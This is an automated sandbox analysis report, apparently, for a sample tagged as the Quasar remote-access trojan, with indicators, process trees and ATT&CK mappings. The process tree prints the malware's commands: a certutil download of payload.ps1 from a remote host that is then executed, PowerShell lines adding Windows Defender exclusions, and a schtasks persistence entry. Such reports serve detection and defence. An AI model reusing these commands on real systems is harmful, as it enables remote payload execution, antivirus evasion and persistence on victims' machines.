quasar | 9bc832050495cccbd57615cfba9f2db549f66b9420116edf4ab42f40af43364b

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\Control Panel\International\Geo\Nation	vbr.exe
Key value queried	\REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\Control Panel\International\Geo\Nation	Synaptics.exe
Key value queried	\REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\Control Panel\International\Geo\Nation	5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\Control Panel\International\Geo\Nation	8.exe
Key value queried	\REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\Control Panel\International\Geo\Nation	._cache_vbr.exe
Key value queried	\REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\Control Panel\International\Geo\Nation	8.exe
Key value queried	\REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\Control Panel\International\Geo\Nation	._cache_Synaptics.exe
Key value queried	\REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\Control Panel\International\Geo\Nation	5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\Control Panel\International\Geo\Nation	._cache_5.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\._cache_5.lnk	._cache_5.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\._cache_5.lnk	._cache_5.exe

Executes dropped EXE 13 IoCs

pid	Process
4048	._cache_vbr.exe
2732	Synaptics.exe
1080	5.exe
1236	8.exe
4932	._cache_Synaptics.exe
1648	._cache_8.exe
2500	._cache_5.exe
368	5.exe
444	8.exe
3172	._cache_5.exe
3948	._cache_8.exe
4208	._cache_5.exe
3916	._cache_5.exe

Loads dropped DLL 4 IoCs

pid	Process
368	5.exe
368	5.exe
444	8.exe
444	8.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\????? = "C:\\ProgramData\\Synaptics\\Synaptics.exe"	vbr.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\._cache_5 = "C:\\ProgramData\\._cache_5.exe"	._cache_5.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
9	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	._cache_8.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	._cache_8.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vbr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Synaptics.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	8.exe
Key created	\REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000_Classes\Local Settings	._cache_Synaptics.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	5.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	8.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	vbr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	Synaptics.exe
Key created	\REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000_Classes\Local Settings	._cache_vbr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	5.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1352	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
392	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4496	powershell.exe
4496	powershell.exe
4496	powershell.exe
1304	powershell.exe
1304	powershell.exe
1304	powershell.exe
4656	powershell.exe
4656	powershell.exe
4656	powershell.exe
2500	._cache_5.exe
2500	._cache_5.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	2500	._cache_5.exe
Token: SeDebugPrivilege	1648	._cache_8.exe
Token: SeDebugPrivilege	3172	._cache_5.exe
Token: SeDebugPrivilege	4496	powershell.exe
Token: SeDebugPrivilege	1304	powershell.exe
Token: SeDebugPrivilege	4656	powershell.exe
Token: SeDebugPrivilege	2500	._cache_5.exe
Token: SeDebugPrivilege	4208	._cache_5.exe
Token: SeDebugPrivilege	3916	._cache_5.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
392	EXCEL.EXE
392	EXCEL.EXE
392	EXCEL.EXE
392	EXCEL.EXE
2500	._cache_5.exe
392	EXCEL.EXE

Suspicious use of WriteProcessMemory 49 IoCs

description	pid	Process	procid_target
PID 3780 wrote to memory of 4048	3780	vbr.exe	85
PID 3780 wrote to memory of 4048	3780	vbr.exe	85
PID 3780 wrote to memory of 2732	3780	vbr.exe	87
PID 3780 wrote to memory of 2732	3780	vbr.exe	87
PID 3780 wrote to memory of 2732	3780	vbr.exe	87
PID 4048 wrote to memory of 1080	4048	._cache_vbr.exe	88
PID 4048 wrote to memory of 1080	4048	._cache_vbr.exe	88
PID 4048 wrote to memory of 1080	4048	._cache_vbr.exe	88
PID 4048 wrote to memory of 1236	4048	._cache_vbr.exe	89
PID 4048 wrote to memory of 1236	4048	._cache_vbr.exe	89
PID 4048 wrote to memory of 1236	4048	._cache_vbr.exe	89
PID 4048 wrote to memory of 2412	4048	._cache_vbr.exe	90
PID 4048 wrote to memory of 2412	4048	._cache_vbr.exe	90
PID 2412 wrote to memory of 2220	2412	WScript.exe	91
PID 2412 wrote to memory of 2220	2412	WScript.exe	91
PID 2220 wrote to memory of 4980	2220	cmd.exe	93
PID 2220 wrote to memory of 4980	2220	cmd.exe	93
PID 2732 wrote to memory of 4932	2732	Synaptics.exe	94
PID 2732 wrote to memory of 4932	2732	Synaptics.exe	94
PID 1236 wrote to memory of 1648	1236	8.exe	96
PID 1236 wrote to memory of 1648	1236	8.exe	96
PID 1236 wrote to memory of 1648	1236	8.exe	96
PID 1080 wrote to memory of 2500	1080	5.exe	97
PID 1080 wrote to memory of 2500	1080	5.exe	97
PID 4932 wrote to memory of 368	4932	._cache_Synaptics.exe	98
PID 4932 wrote to memory of 368	4932	._cache_Synaptics.exe	98
PID 4932 wrote to memory of 368	4932	._cache_Synaptics.exe	98
PID 4932 wrote to memory of 444	4932	._cache_Synaptics.exe	99
PID 4932 wrote to memory of 444	4932	._cache_Synaptics.exe	99
PID 4932 wrote to memory of 444	4932	._cache_Synaptics.exe	99
PID 4932 wrote to memory of 1056	4932	._cache_Synaptics.exe	100
PID 4932 wrote to memory of 1056	4932	._cache_Synaptics.exe	100
PID 1056 wrote to memory of 4152	1056	WScript.exe	102
PID 1056 wrote to memory of 4152	1056	WScript.exe	102
PID 4152 wrote to memory of 3952	4152	cmd.exe	104
PID 4152 wrote to memory of 3952	4152	cmd.exe	104
PID 368 wrote to memory of 3172	368	5.exe	105
PID 368 wrote to memory of 3172	368	5.exe	105
PID 444 wrote to memory of 3948	444	8.exe	106
PID 444 wrote to memory of 3948	444	8.exe	106
PID 444 wrote to memory of 3948	444	8.exe	106
PID 2500 wrote to memory of 4496	2500	._cache_5.exe	110
PID 2500 wrote to memory of 4496	2500	._cache_5.exe	110
PID 2500 wrote to memory of 1304	2500	._cache_5.exe	112
PID 2500 wrote to memory of 1304	2500	._cache_5.exe	112
PID 2500 wrote to memory of 4656	2500	._cache_5.exe	114
PID 2500 wrote to memory of 4656	2500	._cache_5.exe	114
PID 2500 wrote to memory of 1352	2500	._cache_5.exe	116
PID 2500 wrote to memory of 1352	2500	._cache_5.exe	116

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\vbr.exe
"C:\Users\Admin\AppData\Local\Temp\vbr.exe"
1⤵
- Checks computer location settings
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3780
- C:\Users\Admin\AppData\Local\Temp\._cache_vbr.exe
  "C:\Users\Admin\AppData\Local\Temp\._cache_vbr.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:4048
- - C:\Users\Admin\AppData\Roaming\5.exe
    "C:\Users\Admin\AppData\Roaming\5.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:1080
  - - C:\Users\Admin\AppData\Local\Temp\._cache_5.exe
      "C:\Users\Admin\AppData\Local\Temp\._cache_5.exe"
      4⤵
      Checks computer location settings
      Drops startup file
      Executes dropped EXE
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:2500
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\._cache_5.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4496
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '._cache_5.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1304
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\._cache_5.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4656
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "._cache_5" /tr "C:\ProgramData\._cache_5.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1352
- - C:\Users\Admin\AppData\Roaming\8.exe
    "C:\Users\Admin\AppData\Roaming\8.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:1236
  - - C:\Users\Admin\AppData\Local\Temp\._cache_8.exe
      "C:\Users\Admin\AppData\Local\Temp\._cache_8.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1648
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\windows.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2412
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c certutil -urlcache -split -f http://192.168.211.128:4040/download/powershell/ C:\Users\Admin\AppData\Local\Temp\payload.ps1 && powershell -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\payload.ps1 && del C:\Users\Admin\AppData\Local\Temp\payload.ps1
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2220
    - - C:\Windows\system32\certutil.exe
        
        certutil -urlcache -split -f http://192.168.211.128:4040/download/powershell/ C:\Users\Admin\AppData\Local\Temp\payload.ps1
        5⤵
        
        PID:4980
- C:\ProgramData\Synaptics\Synaptics.exe
  "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:2732
- - C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
    "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:4932
  - - C:\Users\Admin\AppData\Roaming\5.exe
      "C:\Users\Admin\AppData\Roaming\5.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:368
    - - C:\Users\Admin\AppData\Local\Temp\._cache_5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\._cache_5.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3172
  - - C:\Users\Admin\AppData\Roaming\8.exe
      "C:\Users\Admin\AppData\Roaming\8.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:444
    - - C:\Users\Admin\AppData\Local\Temp\._cache_8.exe
        
        "C:\Users\Admin\AppData\Local\Temp\._cache_8.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3948
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\windows.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:1056
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c certutil -urlcache -split -f http://192.168.211.128:4040/download/powershell/ C:\Users\Admin\AppData\Local\Temp\payload.ps1 && powershell -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\payload.ps1 && del C:\Users\Admin\AppData\Local\Temp\payload.ps1
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4152
      - C:\Windows\system32\certutil.exe
        
        certutil -urlcache -split -f http://192.168.211.128:4040/download/powershell/ C:\Users\Admin\AppData\Local\Temp\payload.ps1
        6⤵
        
        PID:3952

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:392

C:\ProgramData\._cache_5.exe
C:\ProgramData\._cache_5.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4208

C:\ProgramData\._cache_5.exe
C:\ProgramData\._cache_5.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3916

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

System Information Discovery